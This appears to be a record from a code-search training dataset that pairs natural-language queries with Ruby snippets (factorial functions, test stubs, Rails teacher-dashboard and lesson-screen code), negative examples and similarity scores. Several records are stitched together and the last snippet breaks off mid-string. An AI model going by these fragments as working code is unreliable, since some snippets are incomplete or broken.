[ "0.72739923", "0.7200749", "0.7192741", "0.7133238", "0.71286565", "0.703575", "0.68629813", "0.68229353", "0.68083966", "0.67929894", "0.67929894", "0.67667425", "0.6571596", "0.6554889", "0.654819", "0.6545211", "0.65298504", "0.6459734", "0.6449296", "0.6449296", "0.64415073", "0.6435572", "0.6435572", "0.6429052", "0.6394448", "0.63648635", "0.6345658", "0.6338451", "0.6321179", "0.6301873", "0.628379", "0.6276006", "0.62623155", "0.6259777", "0.62480843", "0.623791", "0.62180585", "0.6201007", "0.62006855", "0.6198458", "0.6198199", "0.61952573", "0.61942136", "0.61932135", "0.6192831", "0.6192831", "0.6192831", "0.61903524", "0.6186933", "0.61732835", "0.6161357", "0.6158632", "0.6141928", "0.6137843", "0.6135825", "0.6135825", "0.61346805", "0.6132416", "0.6119499", "0.611241", "0.61072075", "0.6089233", "0.608837", "0.60878", "0.60834146", "0.60832614", "0.60832614", "0.6076522", "0.60755646", "0.60755414", "0.607249", "0.6064166", "0.60517144", "0.6051335", "0.60416216", "0.60242045", "0.60224605", "0.6021604", "0.60186076", "0.60148245", "0.6012142", "0.6005709", "0.6003732", "0.6003732", "0.6001364", "0.59933823", "0.59933823", "0.59933823", "0.59868485", "0.5972418", "0.5969425", "0.5968804", "0.5966873", "0.5954381", "0.59538", "0.59458756", "0.5943203", "0.59430295", "0.5941451", "0.5934073", "0.5928458" ]
0.0
-1
I worked on this challenge with: Dan. Take starting value and subtract one from that value all the way down to 1. Multiple all the numbers together. Set factorial 0 equal to one. Your Solution Below
def factorial(n) # until ((n - 1) = 0) # do n - 1 if n == 0 return 1 else fact_array = Array.new(n) {|f| f = f + 1} fact_array.inject(:*) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def factorial (number)\n if number == 0\n return 1\n else\n\n total = 1\n for i in 1..number\n total *= i\n i += 1\n end\n return total\n end\nend", "def factorial(number)\r\ntotal = 1\t\r\n\twhile number != 0\r\n\t\ttotal *= number\r\n\t\tnumber = number -1\r\n\tend\r\n\ttotal\r\nend", "def factorial(num)\n if num == 0\n return 1\n else\n value = num - 1\n until value == 0\n num *= value\n value -= 1\n end\n return num\n end\nend", "def factorial(number)\n if number >= 1000\n return final = 0\n elsif\n number >=1\n array = Array.new\n (number + 1).times do |i|\n array.push(i)\n end\n array.shift\n final = 1.0\n array.each { |i| final *= i }\n return final\nelse\n return final = 1\nend\nend", "def factorial(number)\n num = 1\n until number == 0\n num *= number\n number -=1\n end\n num\nend", "def factorial(number)\n counter = number.to_i - 1\n if number.to_i == 0\n return 1\n else\n while counter > 0\n number = number * counter\n counter = counter - 1\n end\nend\nreturn number\nend", "def factorial(number)\n total = 1\n if number == 0\n total\n else \n while number > 0\n total *= number\n number -= 1\n end\n end\n return total\nend", "def factorial(num)\ncurrent = num\nproduct = 1\n\n while current > 0\n product = product * current\n current -= 1\n end\n product\nend", "def factorial(value)\n aux = 1\n (1..value).each do |i|\n aux *= i\n end\n\n aux\nend", "def factorial(number)\n result = 1\n current_number = number\n number.times do\n result = result * current_number\n current_number = current_number - 1\n end\n result\nend", "def factorial(number)\n result = 1\n current_number = number\n number.times do\n result = result * current_number\n current_number = current_number - 1\n end\n result\nend", "def factorial(number)\n if number == 0 || number == 1 \n return 1\n end\n total = 1\n number.downto(1) do |x|\n total *= x\n end\n return total\nend", "def factorial(number)\n#Return 1 for any number that is 0\nreturn 1 if number == 0 \n# This is where the new number will be store\ntotal = 1\n# Create a range and iterate through each number and then assign that number to total\n(1..number).each do |num|\n total = total * num\nend\n# return total so it can display the last number.\ntotal\nend", "def factorial(number)\n if number == 0\n return 1\n else\n n = number - 1\n while n >= 1\n number *= n\n n -= 1\n end\n return number\n end\nend", "def factorial(number)\n index = 0\n factorial = 1\n while index < number\n factorial *= (number - index)\n index += 1\n end\n return factorial\nend", "def factorial(number)\n if number == 0\n return 1\n else\n final_factorial = 1\n\n for x in 1..number\n final_factorial = final_factorial * x\n end\n\n return final_factorial\n end\nend", "def factorial(number)\n # Your code goes here\n if number == 0\n return 1\n end\n\n factorial = number\n for next_number in 2...number\n factorial *= next_number\n #longhand\n #factorial = factorial * next_number\n end\n\n return factorial\nend", "def factorial(number)\n i = number\n total = number\n if number == 0 || number == 1\n return 1\n else\n while i > 1\n total=total * (i - 1)\n i -= 1\n end\n end\n return total\nend", "def factorial((number))\nif number == 0\n return 1\n else\n result = 1\n while number > 1\n result = result * number\n number -= 1\n end\nend\n return result\nend", "def factorial(number)\n total = 1\n while number >= 1 do\n total *= number\n number -= 1\n end\n total\nend", "def factorial(number)\n raise ArgumentError, \"Object cannot be nil.\" if number == nil\n\n return 1 if number == 0\n\n n = number\n total = number\n (number - 1).times do\n total = total * (n - 1)\n n -= 1\n end\n\n return total\nend", "def factorial(number)\n\ttotal = 1\n\tif number == 0\n\t\treturn 1\n\telse\n\t\twhile number > 1\n\t\t\ttotal *= number\n\t\t\tnumber -= 1\n\t\tend\n\t\treturn total\n\tend\nend", "def Factorial(num)\ncurrent = num\nproduct = 1\n\n\twhile current > 0\n\t\tproduct = product * current\n\t\tcurrent -= 1\n\tend\n\tproduct\nend", "def factorial(number)\n if number == 0\n return 1\n else\n i = number-1\n while i >= 1\n number = number * i\n i = i - 1\n end\n return number\n end\nend", "def factorial(number)\n if number == 0\n return 1\n else\n i = number-1\n while i >= 1\n number = number * i\n i = i - 1\n end\n return number\n end\nend", "def factorial(number) \n if number == 0\n return 1\n end\n \n product = 1\n \n for number in (1..number)\n product = product * number\n \t\n end\n \n return product\n end", "def factorial(num)\n \n sum = 1\n i = 1 # 1. set a start njumber \n while i <= num # 2. set a stop number\n sum *= i\n i += 1 # 3. increment for iteration\n end\n return sum\nend", "def factorial(number)\n total = 1\n for i in 1..number\n total *= i \n end\n total\nend", "def factorial(number)\n total = 1\n for i in 1..number\n total *= i \n end\n total\nend", "def factorial(number)\n result=1\n if number == 0\n return 1\n else\n while (number>0)\n result *= (number)\n number -= 1\n end\n end\nreturn result\nend", "def factorial(number)\n if number <= 1\n 1\n else\n number.downto(1).reduce(:*)\n end\nend", "def factorial(number)\n product = 1\n while number > 1\n product *= number\n number -= 1\n end\n product\nend", "def factorial a\n\tif a == 0\n\t\treturn 1\n\tend\n\ttotal = a\n\twhile a > 1\n\t\ta = a - 1\n\t\ttotal = total * a\n\tend\n\ttotal\nend", "def factorial (number)\n i=1\n until number == 0\n i *= number\n number -= 1\n end\n i\nend", "def factorial(number)\n result = 1\n while number > 0\n result *= number\n number -= 1\n end\n result\nend", "def factorial(number)\n result = 1\n while number > 0\n result *= number\n number -= 1\n end\n result\nend", "def factorial(n)\n return 1 if n == 0\n new_num = 0\n (n - 1).times do\n new_num += 1\n n *= new_num\n end\n n\nend", "def factorial(number)\n return 1 if number == 0\n result = 1\n while number > 0\n result = result * number\n number -= 1\n end\n return result\nend", "def factorial(number)\n if number == 0\n return 1\n else\n final_factorial = 1\n\n for x in 1..number\n final_factorial = final_factorial * x\n end\n\n return final_factorial\n end\nend", "def factorial(num)\n i = num - 1\n out = num\n while i > 0\n out = out * i \n i -= 1\n end\n return out\nend", "def factorial(number)\n result = 1\n counter = number\n while counter > 0\n result *= counter\n counter -= 1\n end\n return result\nend", "def factorial(number)\n product = 1\n while number >= 1\n product *= number\n number = number - 1\n end\n product\nend", "def factorial(number)\n result = 1\n while number > 0\n result = result * number\n number -= 1\n end\n\n return result\nend", "def factorial(number)\n if number == 0 \n \treturn 1\n end\n result = 1\n while number > 0\n \tresult = result * number\n \tnumber -= 1\n end\n return result\nend", "def factorial(number)\n\tresult = 1\n\twhile number > 0\n\t\tresult *= number\n\t\tnumber -= 1\n\tend\n\treturn result\nend", "def factorial(number)\n if number == 0\n return 1\n elsif number == 1\n return 1\n elsif number > 1 \n product = number\n while number > 1 do \n number -=1\n product *= number \n end\n return product\n end \nend", "def factorial(number)\n # Your code goes here\n product = 1\n if number < 0\n return 0\n else\n (1..number).each do |y|\n product = product * y\n end\n return product\n end\nend", "def factorial(number)\n sum = 1\n sum.upto(number) { |i| sum *= i}\n sum\nend", "def factorial_1(num)\n factorial_count = 1\n while num > 0\n factorial_count *= num\n num -= 1\n end\n factorial_count\nend", "def factorial(number)\n i = number\n output = number\n if number == 0\n return 1\n end\n while i > 1\n output *= number-1\n number-=1\n i-=1\n end\n return output\nend", "def factorial(number)\n number.downto(1).reduce(:*)\nend", "def factorial(number)\n product = 1\n (1..number).each do |n|\n product *= n\n end\n return product\nend", "def factorial(curr_value)\n curr_value > 1 ? curr_value * factorial(curr_value - 1) : 1\nend", "def factorial(x)\n return x if x == 0\n i = 1\n total = 1\n while i <= x\n total = total * i\n i += 1\n end\n return total\nend", "def factorial(number)\n\tif number == 0 || number == 1\n\t\treturn 1\n\telse\n\t\tproduct = number\n\t\twhile number > 1\n \t\t product = product*(number - 1)\n \t\t number = (number - 1)\n \t\tend\n \tend\n\treturn product\nend", "def factorial(num)\n product = 1\n for factor in 1..num\n product *= factor\n end\n product\nend", "def factorial(number)\n product = 1\n while number > 1\n product *= number\n number -= 1\n end\n p product\nend", "def factorial(number)\n result = 1\n\n while number > 1\n result = result * number\n number -= 1\n end\n\n return result\nend", "def factorial(number)\n\tproduct = 1\n\tif number == 0\n\t\treturn product\n\telse\n\t\twhile (number > 0)\n\t\t\tproduct *= number\n\t\t\tnumber -= 1\n\t\tend\n\t\treturn product\n\tend\nend", "def factorial(number)\n if number\t== 0\n \treturn 1\n end \t\n result = number \n i = 1\n while i < number\n result = result * i\n i += 1 \n end\n return result\nend", "def factorial(number)\n if number <= 1\n 1\n else\n (1..number).each.reduce(:*)\n end\nend", "def factorial(number)\n\tresult = 1\n\tnumber.times do |index|\n\t\tresult *= (index + 1)\n\tend\n\tresult\nend", "def factorial(number)\n sum = 1\n sum.upto(number) { |i| sum *= i}\nsum\nend", "def factorial(number)\n # Your code goes here\n product = number\n if number == 0\n \tproduct = 1\n end\n while number > 1\n \tproduct = product * (number - 1)\n \tnumber = number - 1\n end\n product\nend", "def factorial(input)\n if input == 0 \n return 1\n end\n num = input - 1 \n result = input \n \n while num >= 1\n result = result * num\n num -= 1\n end\n return result\nend", "def factorial(number)\n if number <= 1\n return 1\n end\nsum = 1\nnumber.times do |x|\n sum = (x + 1) * sum\nend\nreturn sum\nend", "def factorial(num)\n i = num -1\n output = num\n while i > 0\n output *= i\n i -= 1\n end\n return output\nend", "def factorial(number)\n if number <= 1\n return 1\n else\n result = 1\n (1..number).each {|x| result = result * x}\n return result\n end\nend", "def factorial(number)\n sum = 1\n while number > 0\n \tsum = sum * number\n \tnumber = number -1\n end\n sum\nend", "def factorial(num)\n product = 1\n\n while num > 0\n product *= num\n num -= 1\n end\n \n return product\nend", "def factorial(number)\n result = 1\n while number >= 1\n result = result * number\n number = number - 1\n end\np result\nend", "def factorial(number)\n raise ArgumentError if number.nil?\n if number == 0 || number == 1\n return 1\n end\n\n i = 0\n result = 1\n\n while i < number\n result *= (number - i)\n i += 1\n end\n return result\nend", "def factorial(n)\n if n == 0\n n = 1\n else\n x = n - 1\n while x > 0\n n*=x\n x = x-1 \n end\n end\n puts n\nend", "def factorial(value)\r\n\treturn (1..value).reduce(:*)\r\nend", "def factorial num\n\tfactorial = 1\n\twhile num > 0\n\t\tfactorial *= num\n\t\tnum -= 1\n\tend\n\treturn factorial\nend", "def factorial(number)\n if number < 0\n return \"Error, that is not a positive integer.\"\n else\n counter = number.to_i\n end\n total = 1\n while counter > 0\n total = total*counter\n counter -= 1\n end\n return total\nend", "def factorial(n)\n base = 1\n n.downto(1) { |val| base *= val }\n return base\nend", "def factorial(number)\n\t#initalize answer to number\n\t#loop from number-1 down to 0 decrementing 1 every time.\n\t#answer = answer * iterator\n\t#end loop when iterator less than or equal to 0\n\t#return answer\n\n\treturn 1 if(number == 0)\n\tanswer = number\n\t(number-1).downto(1){|i|\n\t\tanswer *= i\n\t}\n\treturn answer\nend", "def factorial num\n product = 1\n num.downto(2) do |n|\n product *= n\n end\n return product\nend", "def factorial(number)\n # Your code goes here\nif number == 0\n return 1\nelse\n until number == 0\n return number * factorial(number - 1)\n end\n end\nend", "def factorial(number)\n (1..number).each do |n|\n total *= n\n end\nend", "def factorial(x)\n\tresult = 1\n\tif x == 0\n\t\t1\n\telse\n\t\twhile x > 0\n\t\t\tresult = result * x\n\t\t\tx -= 1\n\t\tend\n\t\tresult\n\tend\nend", "def factorial(number)\n if number == 0\n return 1\n \n elsif number == 1\n return 1\n \n elsif\n x = number\n while x != 1\n x = (x - 1)\n number = (number * x)\n end\n return number\n end\nend", "def factorial(number)\n\ttotal = 1\n\treturn 1 if number == 0\n\tnumber.downto(2) do |n|\n\t\ttotal = total * n\n\tend\n\ttotal\nend", "def factorial(number)\n if number == 0\n \treturn 1\n elsif number == 1\n \treturn 1\n end\n i=number-1\n f=number*i\n while i > 1\n \ti=i-1\n \tf=f*i\n end\n return f\nend", "def factorial(number)\n # IF number = 0, return 1\n if number == 0\n return 1\n end\n # IF number = 1, return 1\n if number == 1\n return 1\n end\n # set variable factorial to 1\n factorial = 1\n # FROM x=1 to number\n for i in 1..number\n # factorial = x * factorial\n factorial *= i\n end\n # Return factorial\n return factorial\nend", "def factorial(number)\n # Your code goes here\n if number == 0\n return 1\n elsif number == 1\n return 1\n end\n n = 1\n while number > 1\n n *= number\n number -= 1\n end\n return n\nend", "def factorial(factor)\n return 1 if factor == 1\n factor*factorial(factor-1)\nend", "def factorial(num)\n counter = 1\n product = 1\n while counter <= num\n product = counter * product\n counter += 1\n end\n return product\nend", "def factorial(number)\n x = 1\n number.times { |i| x = (i+1) * x}\n\n\n return x\nend", "def factorial(number)\r\n\r\n\t# Pseudocode:\r\n # Initalize answer to number passed in.\r\n # Loop from number-1 down to 0 decrementing 1 every time.\r\n # answer = answer * iterator\r\n # End loop when iterator less than or equal to 0\r\n # Return answer\r\n \r\n # Special case: 0! = 1\r\n return 1 if(number == 0)\r\n\r\n answer = number\r\n\r\n (number-1).downto(1){|i|\r\n answer *= i\r\n }\r\n\r\n return answer\r\n\r\nend", "def factorial(number)\n #Takes a single number, as an input\n #if number is 0, return 1, else continue\n #Initialize a new variable, factorial, equal to number\n #multiply factorial by all integers between 1 and number (excluding number)\n #Return factorial\n if number == 0\n return 1\n else\n factor = number\n for i in 1...number\n factor = factor * i\n end\n return factor\n end\nend", "def factorial(n)\n counter = n\n factorial = 1\n while counter > 0\n factorial *= counter\n counter -= 1\n end\n p factorial\nend", "def factorial_iterative(number)\n return \"Cannot calculate factorial of 0 or a negative number\" if number <= 0\n\n factorial_count = number\n\n until factorial_count == 1\n factorial_count -= 1\n number = number * factorial_count\n end\n\n return factorial_count\n\nend", "def factorial(number)\n sum = 1\n (1..number).each do |number|\n sum *= number\n end\n sum\nend", "def factorial(number)\n \t if (number >= 2)\n \t\tresult.each do |number| number * (number -1)\n \t\tnumber -=\n \tend\n\n \treturn result\n \telse\n \t\tnumber == 0 || number == 1\n \t\treturn 1\n \tend\n\t\t\n\nend\n#This is as close as i got to getting factorial to work without using refactoring, per instructions.\n#Couldnt really get this to work. ", "def factorial(number)\n raise ArgumentError if number.nil?\n return 1 if number == 0 || number == 1\n \n i = number\n until i == 1\n i -= 1\n number = number * i\n end\n return number\nend", "def factorial(n)\n if n == 0 || n == 1 \n \treturn 1\n else\n numbers = []\n n.downto(1) { |x| numbers << x }\n numbers.inject(1) { |x,y| x * y }\n end\nend", "def factorial(n)\n \n result = 1\n while n > 0\n result *= n\n n -= 1\n end\n \n result\nend", "def factorial(num)\n product = 1 \n\n i = 1\n while i <= num\n product *= i\n \n i += 1\n end \n\n return product\nend", "def factorial_n(num)\n result = 1\n num.times { |i| result *= i + 1 }\n result\nend" ]
[ "0.8128986", "0.8068104", "0.8064745", "0.800699", "0.79941887", "0.79804826", "0.79357994", "0.7930116", "0.7928459", "0.7914675", "0.7914675", "0.7907942", "0.7906989", "0.79042643", "0.7899969", "0.78985167", "0.7887808", "0.7883785", "0.7876835", "0.78754574", "0.78652185", "0.7864724", "0.78580457", "0.7856754", "0.7856754", "0.78547", "0.7854047", "0.78518033", "0.78518033", "0.78505933", "0.78496164", "0.7842388", "0.7842194", "0.7841198", "0.7839458", "0.7839458", "0.7835455", "0.78313607", "0.7821154", "0.78126544", "0.7801389", "0.7801364", "0.7796885", "0.77927274", "0.7790631", "0.777839", "0.7776877", "0.77720296", "0.7769818", "0.77587104", "0.7752723", "0.7746782", "0.77386755", "0.773102", "0.7724796", "0.7720567", "0.77171767", "0.7716561", "0.7715697", "0.7715432", "0.77082175", "0.77075684", "0.77036333", "0.769947", "0.76967937", "0.76899314", "0.7686243", "0.76793885", "0.7677185", "0.7674062", "0.76721627", "0.76710707", "0.76688623", "0.7668484", "0.766599", "0.76594603", "0.7658444", "0.76584417", "0.7657932", "0.7656709", "0.76565945", "0.76543593", "0.76532906", "0.764948", "0.7646318", "0.76461196", "0.7645952", "0.7645772", "0.76455986", "0.7644694", "0.7643839", "0.7642376", "0.76408446", "0.7639911", "0.76335645", "0.76295686", "0.7628256", "0.76251304", "0.7624962", "0.76183575", "0.76146954" ]
0.0
-1
hack for the test to run
def initialize(name, artist, genre) @name = name @artist = artist @genre = genre @@all.push(self) # @@count += 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def running_test_case; end", "def spec; end", "def spec; end", "def testing\n # ...\n end", "def self_test; end", "def self_test; end", "def __dummy_test__\n end", "def tests; end", "def tests; end", "def test_case; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def test_setup\r\n \r\n end", "def running_test_step; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def tests=(_arg0); end", "def tests=(_arg0); end", "def test_cases; end", "def private; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def test_0_dummy\n\t\tend", "def test_method\n end", "def test_step; end", "def stest_method_1(test); end", "def test \n end", "def before_test(test); end", "def before_test(test); end", "def setup\n\n end", "def setup\n\n end", "def setup\n\n end", "def test\n\n end", "def runner; end", "def test_hack\n assert(true)\n end", "def default_test\r\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\r\n end", "def testloop\n \n end", "def test\n end", "def test\n end", "def test\n end", "def graffiti_test\n end", "def before() ; end", "def my_tests\n end", "def run(_); end", "def run(_); end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def test_nothing\n end", "def setup; end", "def default_test; end", "def test_steps; end" ]
[ "0.6913379", "0.69073737", "0.69073737", "0.68506426", "0.6797596", "0.6797596", "0.6784355", "0.67117506", "0.67117506", "0.65753305", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.6569023", "0.65342104", "0.65174675", "0.65029395", "0.65029395", "0.65029395", "0.65029395", "0.65029395", "0.65029395", "0.65029395", "0.65029395", "0.65029395", "0.6501021", "0.6501021", "0.64694923", "0.6457484", "0.64501435", "0.64501435", "0.64501435", "0.64501435", "0.64367086", "0.64117986", "0.6406081", "0.6405939", "0.6390046", "0.6375696", "0.6375696", "0.6354509", "0.6354509", "0.6354509", "0.6353934", "0.6336421", "0.6327667", "0.62993324", "0.6298978", "0.6298978", "0.6298978", "0.6298978", "0.6298978", "0.6298978", "0.6289335", "0.6289335", "0.6289335", "0.6289335", "0.6289335", "0.6289335", "0.6289335", "0.6284164", "0.6274476", "0.6273879", "0.6273879", "0.6273879", "0.62702847", "0.61632204", "0.61509556", "0.6135387", "0.6135387", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.61209106", "0.6109685", "0.61072725", "0.61060715", "0.6105233" ]
0.0
-1
OLD SECTION STUFF all this stuff will be replaced by the new teacher dashboard (the code for this happens to live in pegasus) and will be deleted once that ships
def new @section = Section.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def twiki_index\n @show_teams_for_many_courses = false\n @machine_name = \"http://rails.sv.cmu.edu\"\n\n url = get_twiki_http_referer()\n @course = Course.find(:first, :conditions => [\"twiki_url = ?\", url])\n\n @show_create_course = false\n if(@course.nil?)\n @show_create_course = true\n render :partial => \"twiki_index\", :layout => false, :locals => {:teams => @teams, :show_new_teams_link => true, :show_photo_view_link => true, :show_student_photos => false, :show_course => false}\n return\n end\n @teams = Team.find(:all, :order => \"id\", :conditions => [\"course_id = ?\", @course.id]) unless @course.nil?\n\n @show_section = false\n @teams.each do |team|\n @show_section = true unless (team.section.nil? || team.section.empty?)\n end\n\n render :partial => \"twiki_index\", :layout => false, :locals => {:teams => @teams, :show_new_teams_link => true, :show_photo_view_link => true, :show_student_photos => false, :show_course => false}\n end", "def index\n @title = \"Prima Lingua: Viewing all sections\"\n if teacher_signed_in?\n @teacher = Teacher.find(current_teacher)\n @sections = Section.where(:teacher_id => @teacher.id)\n elsif params[:teacher_id]\n @teacher = Teacher.find(:teacher_id)\n @sections = Section.where(:teacher_id => @teacher.id)\n elsif admin_signed_in?\n @sections = Section.all\n end\n render_flex_layout\n end", "def define_layout\n if user_signed_in?\n if current_user.student?\n case params['action']\n when \"show\"\n 'information_student' \n when \"events\"\n 'information_student'\n when \"frequency\"\n 'information_student' \n else\n 'student' \n end\n else\n if params['action'] == 'declaration_of_studying'\n 'print'\n else\n if params['action'] == 'daily'\n 'print'\n else\n if params['action'] == 'down_average'\n 'print'\n else\n if params['action'] == 'print'\n 'print'\n else\n if params['action'] == 'report_calendar'\n 'print'\n else\n if params['action'] == 'report_re_enrollments'\n 'print'\n else\n if params['action'] == 'report_schedules'\n 'print' \n else\n if params['action'] == 'report'\n 'print_not_head'\n else\n if params['action'] == 'report_teacher'\n 'print_not_head' \n else\n if params['action'] == 'buy_books'\n 'print_not_head'\n else\n if params['action'] == \"envelopes_for_exams\"\n 'print_not_head' \n else\n if params['controller'] == 'warnings' and params['action'] == 'show'\n 'print' \n else\n if params['controller'] == 'calendars' and params['action'] == 'show'\n nil \n else\n if params['controller'] == 'companies' and params['action'] == 'print_informations'\n 'print_head_javascript'\n else\n \n if params['controller'] == 'companies' and params['action'] == 'students_for_neighborhood'\n \"print\"\n else\n if params['controller'] == 'companies' and params['action'] == 'lists'\n \"print\"\n else\n if params['controller'] == 'companies' and params['action'] == 'students_for_level'\n \"print\"\n else\n nil \n end\n end \n end\n end\n end\n end\n end \n end\n end\n end\n end\n end\n end\n end\n end\n end\n \n end\n end\n else\n \"login\"\n end\n end", "def teacher_user \n self.line_break\n puts \"Type in your full name to begin:\".colorize(:light_green)\n self.line_break\n teacher_user = gets.chomp.titleize\n self.line_break\n if Teacher.find_by(name: teacher_user)\n puts \"Welcome #{teacher_user.titleize}!\".colorize(:light_magenta)\n self.teacher_tasks(teacher_user)\n else \n puts \"You are not authorized to access the portal. Please contact your administrator for additional support. Have a great day!\".colorize(:yellow)\n self.run\n end\n end", "def admin_report\n @current_teacher = current_teacher\n @school = School.find(@current_teacher.school_id)\n @students = Student.where(school_id: current_teacher.school_id).order('full_name ASC')\n @teachers = Teacher.where(school_id: current_teacher.school_id).order('full_name ASC')\n @squares = Square.where(school_id: current_teacher.school_id).order('full_name ASC')\n end", "def mission(page)\n\tend", "def view\n @isSample = false\n #use to show sample flowchart\n if params[:isSample] == \"yes\"\n @isSample = true\n @course = Course.find(params[:course_id])\n end\n #end\n \n @tagassignments=TagAssignment.all\n @student=Student.where(random_url: params[:id]).first\n #use to show sample flowchart\n if params[:isSample] == \"yes\"\n @student=Student.where(course_id: params[:course_id]).first\n end\n #end\n\n #end\n if [email protected]? #case 1: viewing the grade view page\n @course=Course.find(@student.course_id)\n @tags = @course.tags.group(:name)\n \n @nodes=Assignment.where(course_id: @student.course_id).map {|x|x}\n #add individualized grade and tag data to each node\n @totalpoints=0\n @nodes.each do |node|\n #modyfied \n if node.points_possible.nil?\n @totalpoints = 10\n else\n @totalpoints+=node.points_possible\n end\n grade=Grade.where(student_id: @student.id, assignment_id: node.id).first\n if grade.nil?\n node[\"points\"]=0\n else\n node[\"points\"]=grade.points\n end\n\t #node[\"tagnames\"]=node.tags.map{|x|x}\n node[\"tagnames\"] = \"\"\n idx = 0\n @course.tags.each do |t|\n if (t.course_id == @student.course_id) && (t.assignmentnames == node.name)\n node[\"tagnames\"] = node[\"tagnames\"] + t.name + ','\n end\n end\n\n end\n else #case 2: accessing the list of students to edit, add, or destroy\n #do nothing; we don't need the else actually. i put it there so that i can do some explaining\n\n\n\n\n end\n end", "def scientist; end", "def osk_c_lesson_create_scr(lesson_id, lesson_info)\n\n # Had trouble with quotes in scr_header & cleaner to do outside of string\n lesson_time_stamp = lesson_info[\"time-stamp\"] \n lesson_title = lesson_info[\"title\"] \n lesson_objective = lesson_info[\"objective\"]\n lesson_src_file = lesson_info[\"src-file\"]\n\n # Build LABEL statements with JSON defined objective text\n objective_str = \"\"\n lesson_objective.each do |objective|\n objective_str << \"LABEL \\\"#{objective}\\\"\\n \"\n end\n\n # Build view lesson/solution COMBOBOX dropdown lists\n # based on the lesson definition JSON file not the\n # user's current status JSON file\n\n lesson_base_dir = File.join(CfSat::TUTOR_LESSON_DIR,lesson_id.to_s)\n base_json_file = File.join(lesson_base_dir,CfSat::LESSON_JSON_BASE_FILE)\n base_lesson_json = File.read(base_json_file)\n base_lesson_info = JSON.parse(base_lesson_json)\n base_src_file = base_lesson_info[\"src-file\"]\n \n lesson_src_dropdown = \"\"\n base_src_file.each do |src_file|\n src_filename = src_file[0]\n status = src_file[1]\n if (status[\"completed\"] == false)\n lesson_src_dropdown << \"'#{src_filename}' \"\n end\n end\n \n scr_header = \"\n \n ###############################################################################\n # OSK C Lesson Screen\n #\n # Notes:\n # 1. Do not edit this file because it is automatically generated and your\n # changes will not be saved.\n # 2. File created by osk_c_tutor_scr.rb on #{Osk::time_stamp}\n #\n # License:\n # Written by David McComas, licensed under the copyleft GNU General Public\n # License (GPL). \n #\n ###############################################################################\n <% \n require 'osk_c_lesson_scr' \n %>\n SCREEN AUTO AUTO 0.5\n GLOBAL_SETTING BUTTON BACKCOLOR 221 221 221\n \n NAMED_WIDGET title TITLE \\\"Lesson #{lesson_id} - #{lesson_title}\\\"\n SETTING BACKCOLOR 162 181 205\n SETTING TEXTCOLOR black\n\n VERTICALBOX \\\"Objective\\\"\n #{objective_str}\n END # Objectives\n\n VERTICALBOX \\\"References\\\"\n\n MATRIXBYCOLUMNS 4\n BUTTON 'Lesson Slides' 'osk_c_lesson_cmd(self,\\\"REF_SLIDES\\\")'\n BUTTON 'OSK App Dev' 'osk_c_lesson_cmd(self,\\\"REF_OSK_APP_DEV\\\")'\n BUTTON 'Tutorial Guide' 'osk_c_lesson_cmd(self,\\\"REF_TUTORIAL\\\")'\n LABEL ' '\n END # Matrix\n\n END # References\n \n VERTICALBOX \\\"Update Source Files\\\"\n\n MATRIXBYCOLUMNS 3 5 5\n BUTTON 'View Lesson' 'osk_c_lesson_src(self,\\\"SRC_VIEW_LESSON\\\")'\n NAMED_WIDGET lesson_src_file COMBOBOX #{lesson_src_dropdown}\n LABEL ' '\n\n BUTTON 'View Solution' 'osk_c_lesson_src(self,\\\"SRC_VIEW_SOLUTION\\\")'\n NAMED_WIDGET solution_src_file COMBOBOX #{lesson_src_dropdown}\n LABEL ' '\n\n BUTTON 'Edit Current FSW' 'osk_c_lesson_src(self,\\\"SRC_EDIT_CURRENT\\\")'\n NAMED_WIDGET current_src_file COMBOBOX 'app_cfg.h' 'osk_c_demo_app.h' 'osk_c_demo_app.c' 'msglog.h' 'msglog.c' 'msglogtbl.h' 'msglogtbl.c'\n LABEL ' '\n END\n \n END\n\n VERTICALBOX \\\"Completed\\\"\n\n MATRIXBYCOLUMNS 3 5 5\n \"\n \n scr_trailer = \"\n END # Matrix\n END # Completed\n\n\n VERTICALBOX \\\"Application\\\"\n MATRIXBYCOLUMNS 4 5\n \n BUTTON 'Build' 'osk_c_lesson_cmd(self,\\\"APP_BUILD\\\")'\n BUTTON 'Run' 'osk_c_lesson_cmd(self,\\\"APP_RUN\\\")'\n BUTTON 'Screen' 'osk_c_lesson_cmd(self,\\\"APP_SCREEN\\\")'\n LABEL ' '\n \n END\n END # Application\n \"\n\n scr_file = Osk::cfg_target_dir_file(\"CFSAT\",\"screens\",\"osk_c_lesson_scr.txt\")\n \n begin\n \n # Always overwrite the temp file \n File.open(scr_file,\"w\") do |f| \n \n f.write (scr_header)\n\n # Even though loop didn't work out, I left common screen pattern of dynamic text\n # between header and footer strings\n scr_text = \"\n NAMED_WIDGET app_cfg_h CHECKBUTTON 'app_cfg.h' #{((lesson_src_file[\"app_cfg.h\"])[\"completed\"] == true)? \"CHECKED\" : \"UNCHECKED\"}\n LABEL ' '\n LABEL ' '\n\n NAMED_WIDGET osk_c_demo_app_h CHECKBUTTON 'osk_c_demo_app.h' #{((lesson_src_file[\"osk_c_demo_app.h\"])[\"completed\"] == true)? \"CHECKED\" : 